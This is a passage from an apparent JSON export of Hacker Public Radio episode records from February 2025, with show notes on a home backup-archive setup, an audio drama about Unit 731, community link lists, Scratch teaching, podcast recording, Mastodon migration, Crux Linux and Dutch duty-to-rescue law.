                                                            \n The remote system also runs a daily file integrity check comparing\n remotefiles to the current version on remotesnapshots and\n comparing remotefiles to both data directories on the secondary\n system, again logging the results and notifying the maintainer of\n any discrepancies.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n If there is an outward facing static IP at the location with the\n primary and secondary systems then the remote system can use that\n static IP to ssh into the secondary system. If there is not a\n static IP then the remote system uses a DuckDNS subdomain to log\n onto the secondary system. Any system using the same router as the\n secondary system can run a cron job to update DuckDNS with the\n current IP address.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Since a static IP is a monthly expense it's important that there's\n an alternative that does not require paying another bill.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So the secondary system has the ssh server but it doesn't really\n do much. Both of the other systems connect to it and use it as the\n junction for data propagation and file integrity checks.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n So, as you can tell, there's a lot going on to make The Indie\n Archive work. Future podcasts will get down into the details and\n discuss some of the choices I had to make and why I made them.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The funny thing about this project is that the actual code was the\n least amount of work. Figuring out exactly how rsync and rsnapshot\n work together was quite a bit of work. Configuration for both\n rsnapshot and ssh took a bit of head scratching. Then there were a\n few user id tricks I had to work through to make The Indie Archive\n usable. But, by far the most work was writing The Indie Archive\n installation document detailing each step of installing the\n software on three systems.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n It's been fun so far. If you have input I always appreciate the\n help. I get quite a bit of help on Mastodon. If you go to home.gamerplus.org\n you will find the script for this podcast with the Mastodon\n comment thread embedded in the post.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n This podcast is being read from a document that is a work in\n progress. Current versions of the What Is The Indie Archive\n document will be posted at codeberg when I'm ready to upload the\n project.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Thanks for listening.

                                                            \n","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"plaintext, archival, programming","version":0,"downloads":0,"valid":1}, {"id":4313,"date":"2025-02-12","title":"Why I made a 1-episode podcast about a war story","duration":1040,"summary":"The reasons that led me to produce a lone audio drama about Unit 731.","notes":"

                                                            \n

                                                            My setup for recording this podcast about podcasting.\n

                                                            \n

                                                            I never was attached to history (I’m a\n shame with events, names, dates ), much less of history\n fictionalized, like historical romances. But I\n ended up working on a piece of it. The event passes between 1931\n and 1945. It relates to WWII — it’s part of it.

                                                            \n

                                                            So , I talk about producing an specific\n audiod rama, covering two points, that are at really three:

                                                            \n
                                                              \n
                                                            • WHAT is the story: the chaos that came to me asking to come\n out; and
                                                            • \n
                                                            • WHY I decided to present it (and HOW:) by a podcast of\n fiction with history.
                                                            • \n
                                                            \n

                                                            In the end , I summarize that I got touched\n by the subject, it impacted me with disastrous images both in\n words and images. And I like audio, well-made audio content. In\n synthesis, the real story touched me and urged the crave of\n creating something from it, resulting in an audio drama. A minute\n of it translated on the end.

                                                            \n


                                                            \n

                                                            \n

                                                            Full Shownotes

                                                            \n

                                                            Why I made a 1-episode podcast about a war story

                                                            \n

                                                            by Sem Luz em Saint Louis

                                                            \n

                                                            A little citizen (that came from) outside the country, inside\n a prison. Not a common prison, though: it is Unit 731…’

                                                            \n

                                                            What is Unit 731? What are you bringing to Hacker Public\n Radio?” The impulse and reason for creating an audiodrama,\n dear listener. I will tell you What and Why:

                                                            \n

                                                            - WHAT is the story: the chaos that came to me asking to come\n out; and

                                                            \n

                                                            - WHY I decided to present it by a podcast of fiction with\n history

                                                            \n

                                                             

                                                            \n

                                                            [WHAT]

                                                            \n

                                                            First, the WHAT. In the wanderings of the World Wide Web, a\n notable event was revealed before my eyes, a war scene that was\n under dust for decades, but people, even participants of it in\n varied degrees, came to reveal the fact; so, today, we know it.

                                                            \n

                                                            China and Japan engaged in war by the year 1931. More exactly,\n that is when Japan started colonizing China by the provinces\n of Manchuria, northeastern of the country.

                                                            \n

                                                            The resistence started in 1937, with reaction by the Chinese\n troops. Japan was so much more powerful, though (and that’s why\n China took so long to decide fighting the Imperial Army of Japan).\n It took time, and without the best outcome, but it demanded\n courage, it showed force, and humanity, moral value. And this\n conflict is part of the second World War, that\n by one side had Japan, Italy\n and Germany (the German Reich), heading the Axis\n powers; who were fought against by the Allied powers,\n headed by the Soviet Union, Great Britain, France, United States\n and China.

                                                            \n

                                                            Even with basically all the rest of the world against the Axis,\n the Japanese occupied the 3 provinces of Manchuria from 1932 until\n the end of the war, in September 2, 1945, making of it the main\n territorial base for development of weapons. The Encyclopedia\n Britannica explains us the following, quote:

                                                            \n

                                                            On March 9, 1932, the Japanese created the puppet state\n of Manchukuo […] out of the three historical Manchurian\n provinces. The last Qing (Manchu) emperor, Puyi, was brought\n to Manchuria from his retirement in Tianjin and made “chief\n executive,” and later emperor, of the new state. The Manchukuo\n government, though nominally in Chinese hands, was in fact rigidly\n controlled and supervised by the Japanese, who proceeded to\n transform Manchuria into an industrial and military base for\n Japan’s expansion into Asia. The Japanese took over the\n direction, financing, and development of all the important\n Manchurian industries, with the fortunate result that by the end\n of World War II Manchuria was the most industrialized\n region in China. [Source: BRITANNICA. Manchuria.  Last\n updated in January 31, 2025. Link:\n <https://www.britannica.com/place/Manchuria>. Acess in\n February 2025.]

                                                            \n

                                                            Unquote.

                                                            \n

                                                            Now, very briefly, we come to the Unit 731. It was a big Japanese\n construction first officially designated as a “Epidemic Prevention\n and Water Supply Department”. It was commanded by the\n tenant-general of the Army and microbiologist Shirō Ishii.

                                                            \n


                                                            \n

                                                            \n

                                                            I wanted until now to say what is the theme before hopping to the\n motivation to do something about the knowledge. Let’s get to the WHY:

                                                            \n

                                                            I came to know of the theme by chance, navigating the web and\n suddenly coming to a strange photo of human experiencing, the\n description of Unit 731. I searched more about it and was simply\n astonished to know it happened, and inflicted by the so-estimated\n Japan, a headquarter of technology and populated by reverent\n people. We are (that is, I am) often so biased,\n for the good or the bad.

                                                            \n

                                                            That is, what the general public know about World War II,\n including me? The holocaust of the Jews. This is much, but more\n happened, and more can be known for our critical view of the\n World, the countries and its interests, and the rational thinking\n that might be better with this knowledge.

                                                            \n

                                                            The Unit 731 was not the only one with deadly human\n experimentation, other facilities existed, but 731 came to be\n better known; first, it was hidden, but now, decades after the\n events, documents and confessions came to the ground and can’t be\n denied anymore. And in other sites, Shirō Ishii was already\n inflicting them probably since the fall of 1933, mainly Chinese\n people, but also Soviets, Mongolians and Koreans, men, women and\n children.

                                                            \n

                                                            That’s basically it. The research I made (and the movie I saw, a\n fiction, based on it, horrendous) led me to dream about the theme,\n so I felt to throw it, what was developed and developing inside,\n in some manner. I like the voice, the radio, and it is accessible\n to do, not requiring many equipments etc., so my first choice was\n to tell it. How? At first, I\n hypothetized about proposing a script to some Brazilian podcast\n that tell stories. Soon I realized it could not fit so well in the\n lines of the ones I know. Some days after, the idea of a little\n fictionalized story, short story, came as a thing I like, and also\n with the advantages of: 1. being beautiful (men is made of\n stories, real or otherwise appropriated by the mind and senses);\n 2. being impactful (connection with characters); 3. being fast in\n the way I proposed it to be (one little episode). Not necessarily\n only this or in this order, but the idea was that.

                                                            \n

                                                            One thing more, of course: as any interested in the subject can\n note, there is so many technical things produced about it, I\n wanted to do something that caught the emotions and interest of\n people, spreading the possibility of them knowing what, elsewhere,\n they wouldn’t come to see. I wanted to make it different in that\n sense, but as true to the facts as a little audio fiction can be.\n It’s History to our minds, for our own construction and of our\n world view. But, if not, if the listener just come for the art, it\n can be (I hope) an enjoying story after all. That was the WHY I\n decided to do something with the knowledge (in an expression, fire\n in my heart), and HOW it became a fiction podcast (to do\n something I like, and different about the subject, attractive).

                                                            \n


                                                            \n

                                                            \n

                                                            That was my theme here for our moment in HPR! The motivation\n behind need to create. It was hard, I get moved easily\n with shocking scenes in words or images, but It catched me.\n Deciding how to “let go” and then producing it was not tranquil,\n also; the hands-on, the technical part, was as\n follows:

                                                            \n

                                                            I have written some pages summarizing the events I have outlined\n here. Having the base, I came with a story in my mind and in two\n days or three I think I wrote it, in 3 and a half pages, the story\n that you’re going to listen. In a more silent night I went to my\n room, with my notebook and a USB condenser microphone, and\n recorded. Fast. The editing, cutting, compressing, normalizing,\n and choosing free sounds (all referenced in description) and\n fitting them in the story, took a long and time and patience,\n maybe 10 or more dedicated hours along days. I’m not very\n efficient, some of it was the necessary lack of hurry of art, but\n some was my slowness in getting to the technical part of what I\n wanted to do (this bit of information in this milisecond, move\n track 3 together with track 4 without affecting the sync of the\n other tracks and clips in the same track, cut the music at this\n point but with a gentle fade…). I used Audacity. I had a\n Reaper licence (I remember being a bit more efficient with it) but\n lost it after formatting without having the serial number anymore,\n so I went with my long-choice of the free and open source\n alternative.

                                                            \n

                                                            That was my work for the audiodrama podcast in my language.\n Which, in between the days I have been preparing this presentation\n script for HPR, I have released. You may find it in the\n description, or searching in your podcast app for the name (in\n Portuguese): “O Departamento de Prevenção de Epidemias e\n Distribuição de Água”, under the author name “Sem Luz em Saint\n Louis”.

                                                            \n

                                                            I don’t know if it will be released in English. However, I made a\n first minute of it, here and now, so you can enjoy having\n mind of what I was talking about. Thank you, be with 1 minute of\n the report of the survivor…

                                                            \n

                                                            *

                                                            \n

                                                            and

                                                            \n

                                                            Bye!

                                                            \n

                                                             

                                                            \n

                                                            [1 MINUTE OF THE AUDIODRAMA – EXCERPT ONLY]

                                                            \n

                                                            The Epidemic Prevention and Water Supply Department

                                                            \n

                                                            This account was found in the records of Parkinson Tribly\n (or Tribly), of Russian and Polish origins. He was\n recruited by Dr. Shirō Ishii for experiments at Unit 731: a\n legitimate opportunity to stay alive — which ultimately proved\n false for reasons he did not expect.

                                                            \n

                                                            What we will hear now is his writing, unedited. Except that, for\n organization, we will name the three parts that he composed as\n follows: 1. Introduction; 2. Activities; 3. The Bargain. The\n author reflects and advances in his organization, but what he\n brings is:

                                                            \n

                                                             

                                                            \n
                                                              \n
                                                            1. INTRODUCTION
                                                            2. \n
                                                            \n

                                                            Thank God we know that, from the beginning, man has lived in war.\n It’s envy, a desire for power, a desire for money. It is never a\n good motivation, but purely selfishness. I arrived at the\n department a week ago and, although I have no desire to\n collaborate with what happens here, I know enough to realize that\n it is impossible to leave this place free.

                                                            \n

                                                            When the Japanese invaded this region, Manchuria, in the long war\n against China, we did not expect the brutality that was witnessed.\n A few years ago, after the end of the Great War, several countries\n signed the Geneva Protocol. Although it only prohibits the use of\n chemical weapons, biological agents, asphyxiating, and related\n specificities, we believed it would mean more — that it would\n signify a general humanization of combat methods on land, sea, and\n air when there might be another Great War. I did not expect it to\n come in my lifetime nor to be captured to participate in it\n firsthand.

                                                            \n

                                                             
                                                            \n

                                                            \n

                                                            [END OF EXCERPT]

                                                            \n

                                                             

                                                            \n

                                                            Thank you for your presence.

                                                            \n

                                                             

                                                            \n

                                                            References:

                                                            \n  \n

                                                            The audiodrama podcast, in Brazilian Portuguese:

                                                            \n

                                                            SEM LUZ EM SAINT LOUIS. O Departamento de Prevenção de\n Epidemias e Distribuição de Água. In your favorite podcast\n listener or at https://archive.org/details/731-podcast-audiodrama.

                                                            \n
                                                            \n

                                                            \n

                                                            Credits of audios used, in order of appearance (\n listenance ):

                                                            \n

                                                            Ant.Survila / ccmixter – Nostalgic Reflections

                                                            \n

                                                            MeijstroAudio / Freesounds – Dark Metal Rise 001

                                                            \n

                                                            SamRam21 / Freesounds – KeysMouse

                                                            \n

                                                            Sadiquecat / Freesounds – MBA desk with mouse

                                                            \n

                                                            trimono / Freesounds – approving hm

                                                            \n

                                                            [On the drama excerpt:]

                                                            \n

                                                            Kulakovka / Pixabay – Lost in Dreams (abstract chill downtempo\n cinematic future beats).

                                                            \n

                                                            Title of the beginning of the audiodrama preview (“The Epidemic\n Prevention and Water Supply Department”) made in https://luvvoice.com , Abeo (Male) voice.

                                                            \n

                                                            BBC Sound Effects – Aircraft: Beaufighters - Take off (Bristol\n Beaufighter, World War II).

                                                            \n

                                                            Rewob / ccmixter – Secret Sauce (Secret Mixter)

                                                            \n


                                                            \n

                                                            \n

                                                            References:

                                                            \n

                                                            BRITANNICA. Second Sino-Japanese War (1937–1945). Last updated\n in December 16, 2024. Link: <https://www.britannica.com/event/Second-Sino-Japanese-War>.\n\n Access in January 2025.

                                                            \n

                                                            BRITANNICA. Manchuria. Last updated in January 31, 2025.\n Link: <https://www.britannica.com/place/Manchuria>.\n\n Access in February 2025.

                                                            \n

                                                            LIANG, Jiashuo. A History of Japan’s Unit 731 and Implications\n for Modern Biological Warfare. Advances in Social Science,\n Education and Humanities Research , v. 673. Atlantis Press,\n 2022. [ A 5-pages article about Unit 731. If you were\n interested with the facts told, the text gives a synthesys of\n what happened between 1937 and 1945. ]

                                                            \n

                                                            PBS. The Living Weapon : Shiro Ishii. Link:\n <https://www.pbs.org/wgbh/americanexperience/features/weapon-biography-shiro-ishii>.\n\n Access in January 2025.

                                                            \n

                                                            RIDER, Dwight R. Japan’s Biological and Chemical Weapons\n Programs ; War Crimes and Atrocities – Who’s Who, What’s\n What, Where’s Where. 1928 – 1945. 3. ed. 2018. [ “In Process”\n version ]

                                                            ","hostid":441,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Second World War, Unit 731, audio, production, Audiodrama, drama, Shirō Ishii, Audacity, editing","version":0,"downloads":0,"valid":1}, {"id":4314,"date":"2025-02-13","title":"24-25 New Years Eve show","duration":6516,"summary":"The HPR community comes together to say happy new year and chat","notes":"\n

                                                            \nNYE 2025 1

                                                            \n

                                                            \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nInterner archive:

                                                            \n

                                                            \n\nhttps://archive.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMastadon:

                                                            \n

                                                            \n\nhttps://mastodon.social/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTwitter:

                                                            \n

                                                            \n\nhttps://x.com/?lang=en\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLinuxLUGCast

                                                            \n

                                                            \n\nhttps://linuxlugcast.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \ninternational dateline

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/International_Date_Line\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEtherpad

                                                            \n

                                                            \n\nhttps://etherpad.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHPR wiki

                                                            \n

                                                            \n\nhttps://repo.anhonesthost.net/HPR/hpr_documentation/src/branch/main/ccdn\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHostinger

                                                            \n

                                                            \n\nhttps://www.hostinger.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTrue size

                                                            \n

                                                            \n\nhttps://www.thetruesize.com/#?borders=1~!MTU1MzE4MTE.NDk1OTc5Ng\n*MzI4MDg1NjQ(NDY4MzU2NA~!CONTIGUOUS_US*MTAwMjQwNzU.MjUwMjM1MTc(MTc1)Mg~!IN*NTI2NDA1MQ.Nzg2MzQyMQ)MQ~!CN*OTkyMTY5Nw.NzMxNDcwNQ(MjI1)MA

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLord of the Rings movie series

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/The_Lord_of_the_Rings_(film_series)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHarry Potter movie series

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Harry_Potter_(film_series)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUS real ID

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Real_ID_Act\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \ngeek pi server rack

                                                            \n

                                                            \n\nhttps://deskpi.com/products/deskpi-rackmate-t1-2\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLG hbs headphones

                                                            \n

                                                            \n\nhttps://www.lg.com/us/wireless-headphones/lg-hbs-sl5-black-tone-style-headset\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nArtic 9 headphones

                                                            \n

                                                            \n\nhttps://steelseries.com/gaming-headsets/arctis-9?srsltid=AfmBOorSiJLP13h8xdNVApYHSKi7mK1aKF-PIIIxO3pq4-JFRjSZH9aa\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRazor Nari Ultimate headphones

                                                            \n

                                                            \n\nhttps://www.razer.com/pc/gaming-headsets-and-audio/nari-family?srsltid=AfmBOoouVEXj-vsGWncHInJ8e-vj3gSZFTdKFEkqn3rsEkF6UcSdmqeg\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nNginx Proxy Manager

                                                            \n

                                                            \n\nhttps://nginxproxymanager.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTozo O2 open ear headphons

                                                            \n

                                                            \n\nhttps://www.amazon.com/TOZO-Lightweight-Multi-Angle-Long-Lasting-Crystal-Clear/dp/B0C746TY77\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOrange PI zero 3 4GB

                                                            \n

                                                            \n\nhttp://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/details/Orange-Pi-Zero-3.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUSB cable tester board

                                                            \n

                                                            \n\nhttps://treedix.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPCM audio

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Pulse-code_modulation\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWAV audio

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/WAV\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSPX audio

                                                            \n

                                                            \n\nhttps://fileinfo.com/extension/spx\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMini Cooper

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Mini_Cooper\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n68 plymouth Fury

                                                            \n

                                                            \n\nhttps://www.curbsideclassic.com/curbside-classics-american/roadside-classic-1968-plymouth-fury-iii-hip-to-be-square/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n83 Mercury Marquis

                                                            \n

                                                            \n\nhttps://www.autoweek.com/car-life/classic-cars/a1857401/1983-mercury-marquis-welcome-land-ahhhs/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n78 Grand Turino

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Ford_Torino\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n78 Chevy Blazer

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Chevrolet_K5_Blazer\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nZoom

                                                            \n

                                                            \n\nhttps://www.zoom.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n01 Buick Century

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Buick_Century\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCrown Victoria

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Ford_Crown_Victoria\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4315,"date":"2025-02-14","title":"How I got into the wonderful world of hackery","duration":1501,"summary":"I'm Shane and I am a host on the Linux Lads podcast. This is my introduction to HPR!","notes":"\n

                                                            \n This is my journey through technology and open source software and\n a little bit about me as well.

                                                            \n

                                                            \n Some links that I mentioned on the show!

                                                            \n ","hostid":442,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux, podcast, intro","version":0,"downloads":0,"valid":1}, {"id":4316,"date":"2025-02-17","title":"Is Scratch a real programming language?","duration":968,"summary":"Small interview with Orion on his experience teaching kids to program in Scratch","notes":"\n

                                                            \nWhat is Scratch?

                                                            \n
                                                              \n
                                                            • \nWho made it?
                                                            • \n
                                                            • \nHow does it work?
                                                            • \n
                                                            • \nWhat can it do?
                                                            • \n
                                                            \n

                                                            \nWhat are the blocks and how they relate to coding?

                                                            \n
                                                              \n
                                                            • \nCan be dragged and placed
                                                            • \n
                                                            • \nDifferent shapes/colours represent different aspects
                                                            • \n
                                                            • \nRound ones are analogous to Functions
                                                            • \n
                                                            • \nSharp ones are variables
                                                            • \n
                                                            • \nControl ones are Logic/Conditions
                                                            • \n
                                                            \n

                                                            \nWhy is this good?

                                                            \n
                                                              \n
                                                            • \nAllows kids to focus on logic and the mindset of coding without having to learn or care about Syntax/lines of code
                                                            • \n
                                                            • \nAllows for direct visualisation of what the code does
                                                            • \n
                                                            \n

                                                            \nMy own experience

                                                            \n
                                                              \n
                                                            • \nStarted with blocks in Lego Mindstorm
                                                            • \n
                                                            • \nEvolved to C HTML/PHP and then Python
                                                            • \n
                                                            \n

                                                            \nThe workshop

                                                            \n
                                                              \n
                                                            • \nKids made 2 games that covered all basics
                                                            • \n
                                                            • \nTriggers/Input
                                                            • \n
                                                            • \nFunctions
                                                            • \n
                                                            • \nVariables
                                                            • \n
                                                            • \nWere all customised by them
                                                            • \n
                                                            • \nExplain that each kid made their version
                                                            • \n
                                                            • \nthe football crazy one turned my cat and balloon game into a Football Match
                                                            • \n
                                                            • \nThey got to take them home
                                                            • \n
                                                            • \nThe games covered the basics on this way
                                                            • \n
                                                            • \nInput using keyboard for triggering functions
                                                            • \n
                                                            • \nUse Functions to modify location parameters
                                                            • \n
                                                            • \nIf/Then Conditions for when sprites are touching each other/the walls
                                                            • \n
                                                            • \nVariables for storing points
                                                            • \n
                                                            • \nOperands to increase Points in variable
                                                            • \n
                                                            • \nEnd conditions
                                                            • \n
                                                            • \nLoops for permanently checking the If/Then Conditions
                                                            • \n
                                                            • \nAsk about the organisation
                                                            • \n
                                                            • \n\nMora Mundus\n
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nDownload and learn more about Scratch\n.

                                                            \n\n\n","hostid":433,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"programming, kids, open source","version":0,"downloads":0,"valid":1}, {"id":4317,"date":"2025-02-18","title":"Recording an episode of HPR","duration":687,"summary":"Kevie goes through the steps of recording your first HPR episode","notes":"\n

                                                            \n In this episode Kevie talks about the basic steps of recording an\n HPR episode.

                                                            \n

                                                            \n The first step is to plan the episode. What will it be about and\n also consider the purpose of the show: is it to introduce a topic,\n give information, entertain, be a tutorial or instructional, an\n informal yarn.

                                                            \n

                                                            \n Write down the points that you want to cover and any links that\n you are going to reference. This will help you when it comes to\n recording and also it can act as your show notes.

                                                            \n

                                                            \n For early stage simple and effective recording use your mobile\n phone. I recommend \n \n Audio Recorder\n \n as it allows you to record in WAV, you can change the sample rate\n and it doesn't include adverts or any features that are paid for\n only.

                                                            \n

                                                            \n \n

                                                            \n

                                                            \n For recording on a Linux desktop I would recommend using something\n simple like \n \n Reco\n \n .

                                                            \n

                                                            \n \n

                                                            \n

                                                            \n If you want to record a show with somebody else then you will need\n to use a PC as Google banned applications that have the ability to\n record calls. To do this with Reco you simply click on the \n Record from\n button and you are given the choice of microphone, system audio or\n both. Set this to \n both\n and whichever way you chat Reco will record the conversation.

                                                            \n

                                                            \n Once you have recorded your file then simply head to the HPR\n website:

                                                            \n
                                                              \n
                                                            • \n Click upload (top left)
                                                            • \n
                                                            • \n Pick an available slot
                                                            • \n
                                                            • \n Complete the show notes
                                                            • \n
                                                            • \n Upload the file
                                                            • \n
                                                            • \n Click submit
                                                            • \n
                                                            \n

                                                            \n That's it, we look forward to hearing your first show.

                                                            ","hostid":296,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"recording, podcasting","version":0,"downloads":0,"valid":1}, {"id":4318,"date":"2025-02-19","title":"What's up with the dates on the HPR future feed in AntennaPod?","duration":416,"summary":"The HPR Future feed doesn't show dates properly. What's up with that?","notes":"\n

                                                            \nSome stuff I found out when I was trying to understand why the HPR Future feed in \nAntenna Pod\n shows the release date for each show as the date I refreshed the podcast, instead of the actual release date that's in the RSS file.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIt's because AntennaPod ignores dates whenever any future date appears in the RSS file...

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://forum.antennapod.org/t/filter-against-future-episodes/939\n

                                                            \n\n\n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"antennapod","version":0,"downloads":0,"valid":1}, {"id":4319,"date":"2025-02-20","title":"Am Rande - on the edge","duration":241,"summary":"On a science fiction book from Eastern Germay from the 1970s","notes":"\n
                                                              \n
                                                            • \n\nhttps://github.com/rhasspy/piper\n A fast, local neural text to speech system that sounds great and is optimized for the Raspberry Pi 4
                                                            • \n
                                                            • \n\nhttps://www.rockbox.org/ Rockbox\n is a free replacement firmware for digital music players.
                                                            • \n
                                                            • \n\nhttps://en.wikipedia.org/wiki/Alexander_Volkov_(writer)\n Alexander Melentyevich Volkov (Russian: Александр Мелентьевич Волков (14 June 1891 – 3 July 1977) was a Soviet novelist, playwright, university lecturer. He was an author of novels, short stories, plays and poems for children, mostly remembered for the Magic Land series of books, based on L. Frank Baum's The Wonderful Wizard of Oz.
                                                            • \n
                                                            • \n\nhttps://de.wikipedia.org/wiki/Klaus_Fr%C3%BChauf\n Klaus Frühauf (* 12 October 1933 in Halle (Saale) ; † 11 November 2005 in Rostock ) was a German author and one of the most important science fiction authors in the GDR.
                                                            • \n
                                                            \n\n\n","hostid":309,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"SF, SiFi, ScienceFiction, German, 1970s","version":0,"downloads":0,"valid":1}, {"id":4320,"date":"2025-02-21","title":"Switching my Mastodon account","duration":824,"summary":"This episode explains how to migrate your Mastodon account","notes":"

                                                            One way in which the Fediverse is different from corporate social\nmedia is that there is no center. By definition, these platforms are a\nfederation of independent servers. This has consequences in that you may\nhave a server that is run by a single person and if that person gets\ntired of doing it, or faces life situations that get in the way, your\nserver may have to go away. But the mechanisms are in place to handle\nthis situation. I am going to explain in this short episode how you\nmigrate from one server to another.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, Mastodon, migration","version":0,"downloads":0,"valid":1}, {"id":4321,"date":"2025-02-24","title":"Crux Linux","duration":3179,"summary":"Try Crux Linux","notes":"\n

                                                            \n Crux Linux is a minimal distribution using a BSD-style init, and a\n BSD-style ports system with tarball packaging. Its install process\n is very much a manual process, but it's fun! You should try it.

                                                            \n
                                                            \n https://crux.nu/Main/About
                                                            \n
                                                            \n CRUX is a lightweight Linux distribution for the x86-64\n architecture targeted at experienced Linux users. The primary\n focus of this distribution is keeping it simple,\n which is reflected in a straightforward tar.gz-based package\n system, BSD-style initscripts, and a relatively small collection\n of trimmed packages. The secondary focus is utilization of new\n Linux features and recent tools and libraries. CRUX also has a\n ports system which makes it easy to install and upgrade\n applications.\n ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":0,"valid":1}, {"id":4322,"date":"2025-02-25","title":"Fighting smartphone addiction","duration":690,"summary":"A time limit tool I'm trying out and how I'm using it","notes":"\n

                                                            \nDespite not having any social media, muscle memory in unlocking the screen and getting stuck watching the screen is harder to fight than I thought.

                                                            \n

                                                            \n\n

                                                            \nOpenTimeLimit can be found at F-droid \nhttps://f-droid.org/packages/io.timelimit.android.open/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":407,"series":100,"explicit":0,"license":"CC-BY-NC-SA","tags":"smartphone addiction,time limit,f-droid","version":0,"downloads":0,"valid":1}, {"id":4323,"date":"2025-02-26","title":"Good Samaritan laws, Duty to rescue in the Netherlands","duration":548,"summary":"Ken talks with safety officer trainer, Johan about the laws covering providing first aid in Holland.","notes":"\n

                                                            \n This is a response show to \n hpr4216 :: Down the rabbit hole. \"Sgoti talks about Good\n Samaritan laws. Good Heavens!\"

                                                            \n

                                                            \n We talk to \n Johan Audiffred about the legal requirement to assist people\n in need in the Netherlands.

                                                            \n
                                                              \n
                                                            • \n You are required to assist people in need and can be prosecuted\n if you do not.
                                                            • \n
                                                            • \n Expenses to the hospital are covered by the State.
                                                            • \n
                                                            • \n Expenses in the hospital are covered by the mandatory Health\n Insurance, which is provided by the state for those that can't\n afford it.
                                                            • \n
                                                            • \n Damages are covered by mandatory public liability insurance.
                                                            • \n
                                                            • \n As a citizen you do not need respect \n Do Not Resuscitate wishes, but medical professionals will.
                                                            • \n
                                                            \n

                                                            \n This episode does not constitute legal advice. Listeners are urged\n to consult a legal expert for more information.

                                                            ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FirstAid, EABO","version":0,"downloads":0,"valid":1}, {"id":4324,"date":"2025-02-27","title":"24-25 New Years Eve show episode 2","duration":6439,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            mumble: Official website of the Mumble project

                                                            \n

                                                            wikipedia:) Mumble (software) from Wikipedia

                                                            \n

                                                            ncbi: Generalisable 3D printing error detection and correction via multi-head neural networks

                                                            \n

                                                            liqcreate: Resin 3D-printing: Ec, Dp, cure depth & more explained

                                                            \n

                                                            tomshardware: How to Fix 3D Prints Not Sticking to the Bed

                                                            \n

                                                            simplify3d: Not Sticking to the Bed

